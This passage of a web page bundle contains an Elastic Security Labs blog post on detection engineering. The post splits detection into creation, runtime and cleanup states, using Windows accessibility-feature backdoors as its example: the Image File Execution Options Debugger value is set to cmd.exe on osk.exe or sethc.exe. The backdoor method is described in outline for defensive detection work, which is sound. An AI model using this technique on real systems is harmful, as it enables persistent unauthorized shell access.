u(e))!f.call(i,a)\u0026\u0026a!==n\u0026\u0026r(i,a,{get:()=\u003ee[a],enumerable:!(s=g(e,a))||s.enumerable});return i};var y=(i,e,n)=\u003e(n=i!=null?h(p(i)):{},o(e||!i||!i.__esModule?r(n,\"default\",{value:i,enumerable:!0}):n,i)),w=i=\u003eo(r({},\"__esModule\",{value:!0}),i);var l=m((I,c)=\u003e{c.exports=_jsx_runtime});var F={};b(F,{default:()=\u003ev,frontmatter:()=\u003ex});var t=y(l()),x={title:\"Practical security engineering: Stateful detection\",slug:\"practical-security-engineering-stateful-detection\",date:\"2022-06-01\",description:\"By formalizing stateful detection in your rules, as well as your engineering process, you increase your detection coverage over future and past matches. In this blog post, learn why stateful detection is an important concept to implement.\",author:[{slug:\"samir-bousseaden\"}],image:\"blog-thumb-digital-shield.jpg\",category:[{slug:\"security-research\"}]};function d(i){let e=Object.assign({p:\"p\",strong:\"strong\",h2:\"h2\",ul:\"ul\",li:\"li\",a:\"a\",img:\"img\",em:\"em\",ol:\"ol\",h3:\"h3\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.p,{children:\"Detection engineering at Elastic is both a set of reliable principles \\u2014 or methodologies \\u2014 and a collection of effective tools. In this series, we\\u2019ll share some of the foundational concepts that we\\u2019ve discovered over time to deliver resilient detection logic.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this blog post, we will share a concept we call \",(0,t.jsx)(e.strong,{children:\"stateful detection\"}),\" and explain why it's important for detection.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-states\",children:\"Detection states\"}),`\n`,(0,t.jsx)(e.p,{children:\"The quickest way to get started may not always be the best, and new analysts tend to jump right into the post-exploitation details, mapping available data sources and logic fragments. Few consider that the state of a technique may influence visibility. The following three states illustrate one operations-focused approach:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Creation state\"}),\" : Related to detecting suspicious or critical activity at the time of configuration or preparation (e.g., creation or modification of a new Run key registry value to detect new persistent programs)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Runtime state:\"}),\" Related to detecting suspicious or critical activity at the moment of execution, which may be the result of an automated process (e.g., after a program was added to the HKLM RunOnce key, it will be executed as a child process of RunOnce.exe at system startup)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Cleanup state:\"}),\" A special kind of runtime state related to detecting active and passive methods of covering tracks (files, registry deletion, and process termination are examples of needed telemetry; e.g., delete startup entry)\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Many organizations tasked with creating detection logic focus on a given event creation state, though the following limitations are often overlooked.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"There will be detection gaps for known tactics, techniques, and procedures (TTPs) at execution. It\\u2019s likely you\\u2019re dealing with creation-state detection logic built for these TTPs, meaning you\\u2019re only finding this behavior after the fact.\"}),`\n`,(0,t.jsx)(e.li,{children:\"There will be detection gaps for techniques used by attackers who are diligent at tidying up their presence, as security operations tend to focus on detecting techniques in the earliest stages of an intrusion.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The required telemetry, data, and logic for one technique may be different for each state and require enabling new telemetry or changing existing configurations.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The practical application of this concept is most effective for detecting techniques in tactic categories that focus on predictable outcomes such as persistence, defense evasion (e.g., abnormal memory type and protection for code injection), and command and control (unusual process network traffic).\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To make this concept clearer, let's explore an example of designing detection logic in the \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003/\",rel:\"nofollow\",children:\"Persistence\"}),\" tactic category using \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1015/\",rel:\"nofollow\",children:\"T1015 - Accessibility Features\"}),\". Suppose an attacker has already enabled a backdoor to execute using this technique (via Image File Execution Options - Debugger registry value) months or weeks before you\\u2019ve implemented a detection for it.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/1-stateful-detection-engineering-blog-depiction-file-execution.jpg\",alt:\"1-stateful-detection-engineering-blog-depiction-file-execution.jpg\",width:\"828\",height:\"191\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 1: Depiction of image file execution options debugger abuse (1)\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Image File Execution Options (IFEO) are used for debugging legitimate applications, and can be abused by an attacker with at least local administrator privileges to execute a malicious program (instead of a legitimate one) via the Debugger setting. As shown in Figure 2, cmd.exe will be executed every time the on-screen keyboard (osk.exe) is invoked, providing the attacker a system shell backdoor.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/2-stateful-detection-engineering-blog-depiction-2-file_execution.jpg\",alt:\"2-stateful-detection-engineering-blog-depiction-2-file_execution.jpg\",width:\"1047\",height:\"631\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 2: Depiction of image file execution options debugger abuse (2)\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"creation-state\",children:(0,t.jsx)(e.strong,{children:\"Creation state\"})}),`\n`,(0,t.jsx)(e.p,{children:\"At the time of creation, while configuring the Debugger value, detection primarily consists of monitoring a filtered subset of the registry for new references to accessibility features (e.g., osk.exe for the On-Screen Keyboard) and the registry value name Debugger. This technique is also effective for other accessibility features depicted in Figure 3.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/3-stateful-detection-engineering-blog-accessibility-features.png\",alt:\"3-stateful-detection-engineering-blog-accessibility-features.png\",width:\"548\",height:\"133\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 3: Accessibility features processes\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html\",rel:\"nofollow\",children:\"EQL\"}),\" is a language we can use to broadly describe \",(0,t.jsx)(e.strong,{children:\"creation-state\"}),\" detection events for any technique. Figure 4 depicts an EQL rule demonstrating one example that detects \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1015/\",rel:\"nofollow\",children:\"accessibility features\"}),\" using IFEO.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/4-stateful-detection-engineering-blog-t1015.png\",alt:\"4-stateful-detection-engineering-blog-t1015.png\",width:\"838\",height:\"261\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 4: T1015 - IFEO creation state EQL example\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"runtime-state\",children:(0,t.jsx)(e.strong,{children:\"Runtime state\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"At the time of creation, that kind of EQL logic will help to detect the technique, but what if the configuration happened \",(0,t.jsx)(e.em,{children:\"weeks or months ago\"}),\"? A different kind of EQL expression is better suited for detecting the technique in a runtime state. It begins with a little focused research.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"It can help to adopt a structured approach to researching this state:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Understand normal execution flow: Manually execute each accessibility feature, recording normal process lineage, attributes, and execution flow\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Document consistent parent process, process command line arguments, privilege characteristics, and process ancestry\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Identify hijack opportunities\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"As an example, while it may be possible to configure a debugger for osk.exe, is it possible to configure one for utilman.exe, the parent of osk.exe?\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Hunt unique anomalies\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsx)(e.p,{children:\"Identify observable characteristics of IFEO Debugger hijacking to differentiate between legitimate and malicious use of this technique (e.g., abnormal child of winlogon.exe could be caused by code injection and unrelated to T1015)\"}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[\"Create a \",(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" detection EQL rule, evaluate potential fixes to any \",(0,t.jsx)(e.strong,{children:\"creation-state\"}),\" detection EQL logic\"]}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s dig into each of these steps so that you can better understand how this process can be adapted to work with your own team.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"understand-normal-execution-flow\",children:(0,t.jsx)(e.strong,{children:\"Understand normal execution flow\"})}),`\n`,(0,t.jsx)(e.p,{children:\"For osk.exe, sethc.exe, magnify.exe, and narrator.exe, the expected parent process is utilman.exe. Figure 5 depicts a visualization of the normal process-tree for the on-screen keyboard accessibility feature.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/5-stateful-detection-engineering-blog-on-screen-keyboard.jpg\",alt:\"5-stateful-detection-engineering-blog-on-screen-keyboard.jpg\",width:\"762\",height:\"457\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 5: Example of normal on-screen keyboard execution\"})}),`\n`,(0,t.jsx)(e.p,{children:\"For sethc.exe (Sticky Keys), which can be invoked by pressing the SHIFT key five times, expected parent processes are ATBroker.exe, utilman.exe, and winlogon.exe. For Displayswitch.exe, a similarly debuggable accessibility feature that can be invoked by pressing the WIN and P keys, expected parents are svchost.exe (DCOM service not useful in the context of T1015) and winlogon.exe.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Understanding \",(0,t.jsx)(e.strong,{children:\"normal\"}),\" execution will be helpful as you begin to explore less-expected execution. If we jumped right to \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\\xAE\"}),\" before analyzing normal behavior and then tried to write a rule, we wouldn\\u2019t have some of the essential context and our logic would be less effective.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"identifying-hijacking-possibilities\",children:(0,t.jsx)(e.strong,{children:\"Identifying hijacking possibilities\"})}),`\n`,(0,t.jsx)(e.p,{children:\"While we have our benevolent researcher hats on, let\\u2019s consider how we might abuse this kind of normal execution. We can infer at least a few options to start with:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Attempt to abuse execution of an accessibility application (e.g., osk.exe, magnify.exe, narrator.exe) by configuring a debugger IFEO flag\"}),`\n`,(0,t.jsx)(e.li,{children:\"Attempt to abuse execution of an expected non system critical parent process (e.g., utilman.exe, atbroker.exe), which is a bit more of a shot in the dark\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"That\\u2019s a pretty narrowly scoped set of options for now; directly abusing accessibility applications is straightforward and a good place to start.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"hunting-unique-anomalies\",children:(0,t.jsx)(e.strong,{children:\"Hunting unique anomalies\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We need to configure our own IFEO Debugger value for each of the known accessibility feature applications, which helps highlight noteworthy toolmarks. The table below depicts commandline arguments and process ancestry observed when our benign IFEO Debugger (set to cmd.exe) was triggered. There are some clear patterns in the command_line and parent_process_path values, as shown in Figure 6.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/6-stateful-detection-engineering-blog-IFEO-runtime.jpg\",alt:\"6-stateful-detection-engineering-blog-IFEO-runtime.jpg\",width:\"1251\",height:\"187\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 6: T1015 - IFEO Runtime-State Anomalies (1)\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This pattern can be translated into the following \",(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" detection, depicted using EQL in Figure 7.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/7-stateful-detection-engineering-blog-IFEO-state-detection.jpg\",alt:\"7-stateful-detection-engineering-blog-IFEO-state-detection.jpg\",width:\"861\",height:\"385\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 7: T1015 - IFEO Runtime-State Detection EQL (1)\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we\\u2019ve covered the direct abuse, what happens when we try to manipulate one of the expected parent processes? Figure 8 contains a few attempts at abusing the expected parent processes of accessibility features.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/8-stateful-detection-engineering-blog-IFEO-runtime-state.jpg\",alt:\"8-stateful-detection-engineering-blog-IFEO-runtime-state.jpg\",width:\"868\",height:\"139\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 8: T1015 - IFEO Runtime State Anomalies (2)\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As is illustrated in the previous figure, the same anomaly type can be translated to the \",(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" detection EQL in Figure 9.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/9-stateful-detection-engineering-blog-IFEO-runtime-2.png\",alt:\"9-stateful-detection-engineering-blog-IFEO-runtime-2.png\",width:\"653\",height:\"367\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 9: T1015 - IFEO runtime-state detection EQL (2)\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Tip:\"}),\" Be careful about making exceptions too broad in hunting queries. Favor PE information over process metadata when you can, and join that with signing status for low-hanging fruit.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Figure 10 depicts the graphical timeline of a \",(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" alert, which can detect the use of an existing T1015 backdoor.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/10-stateful-detection-engineering-blog-keyboard-execution.jpg\",alt:\"10-stateful-detection-engineering-blog-keyboard-execution.jpg\",width:\"1294\",height:\"570\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 10: T1015 - IFEO runtime-state alert example\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"cleanup-state\",children:(0,t.jsx)(e.strong,{children:\"Cleanup state\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Detection logic for this state is often the opposite of the \",(0,t.jsx)(e.strong,{children:\"creation-state\"}),\" logic. Below is an example for osk.exe IFEO key deletion as logged by \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon\",rel:\"nofollow\",children:\"sysmon\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/11-stateful-detection-engineering-blog-IFEO-cleanup-state.jpg\",alt:\"11-stateful-detection-engineering-blog-IFEO-cleanup-state.jpg\",width:\"1067\",height:\"403\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 11: T1015 - IFEO cleanup-state sysmon event example\"})}),`\n`,(0,t.jsx)(e.p,{children:\"What significant lessons should we take away?\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" detection requires different data (e.g., enable telemetry for child processes of utilman.exe and winlogon.exe in your sysmon configuration, use commandline value to differentiate between abnormal child processes and T1015 unique artifacts)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"cleanup-state\"}),\" detection requires different data (e.g., registry deletion, process termination)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Adjust \",(0,t.jsx)(e.strong,{children:\"creation-state\"}),\" EQL rule by adding atbroker.exe and utilman.exe (can be abused as well)\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"beyond-baseline\",children:(0,t.jsx)(e.strong,{children:\"Beyond baseline\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"For the same technique, other than monitoring files overwrite ( \",(0,t.jsx)(e.strong,{children:\"creation-state\"}),\" ) and process masquerading as accessibility features ( \",(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" ), we can also hunt and alert ( \",(0,t.jsx)(e.strong,{children:\"runtime-state\"}),\" ) proactively on any unusual child processes (or suspicious non-Microsoft image loads to detect \",(0,t.jsx)(e.a,{href:\"https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html\",rel:\"nofollow\",children:\"potential Image hijack\"}),\") of the accessibility features processes (osk.exe, narrator.exe, magnify.exe, sethc.exe, and DisplaySwitch.exe) \\u2014 the majority of which are \",(0,t.jsx)(e.strong,{children:\"childless\"}),\" processes.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/practical-security-engineering-stateful-detection/12-stateful-detection-engineering-blog-unusual-accessibility.jpg\",alt:\"12-stateful-detection-engineering-blog-unusual-accessibility.jpg\",width:\"534\",height:\"328\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Figure 12: T1015 - unusual accessibility feature child process\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:(0,t.jsx)(e.strong,{children:\"Conclusion\"})}),`\n`,(0,t.jsx)(e.p,{children:\"When assessing existing or designing new detection logic, always ask yourself how a specific technique/procedure manifests itself at the three different states before marking a specific attack procedure as covered. This impacts the type of data sources and the logic details you will need to build state resilient detections\"}),`\n`,(0,t.jsx)(e.p,{children:\"Actively scanning for existing matches to creation-state logic is an option (often used during compromise assessment), but this is not applicable to near real-time detection. It\\u2019s not always applicable to create detection for specific states (e.g., high performance impact, difficulty to obtain right telemetry). By formalizing the stateful-detection concept in your rules, as well as your use cases engineering process, you increase your detection coverage in time (future and past matches).\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Want to give \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security\",rel:\"nofollow\",children:\"Elastic Security\"}),\" a spin? Try it free today, or experience our latest version on \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/elasticsearch/service\",rel:\"nofollow\",children:\"Elasticsearch Service\"}),\" on Elastic Cloud.\"]})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var v=k;return w(F);})();\n;return Component;"},"_id":"articles/practical-security-engineering-stateful-detection.mdx","_raw":{"sourceFilePath":"articles/practical-security-engineering-stateful-detection.mdx","sourceFileName":"practical-security-engineering-stateful-detection.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/practical-security-engineering-stateful-detection"},"type":"Article","imageUrl":"/assets/images/practical-security-engineering-stateful-detection/blog-thumb-digital-shield.jpg","readingTime":"9 min read","series":"","url":"/practical-security-engineering-stateful-detection","headings":[{"level":2,"title":"Detection states","href":"#detection-states"},{"level":2,"title":"**Creation state**","href":"#creation-state"},{"level":2,"title":"**Runtime state**","href":"#runtime-state"},{"level":3,"title":"**Understand normal execution flow**","href":"#understand-normal-execution-flow"},{"level":3,"title":"**Identifying hijacking possibilities**","href":"#identifying-hijacking-possibilities"},{"level":3,"title":"**Hunting unique anomalies**","href":"#hunting-unique-anomalies"},{"level":2,"title":"**Cleanup state**","href":"#cleanup-state"},{"level":2,"title":"**Beyond baseline**","href":"#beyond-baseline"},{"level":2,"title":"**Conclusion**","href":"#conclusion"}],"author":[{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]}]},"__N_SSG":true},"page":"/topics/[slug]","query":{"slug":"security-research"},"buildId":"rZgt_jOWSqGgNGvs1XQtL","assetPrefix":"/security-labs","isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>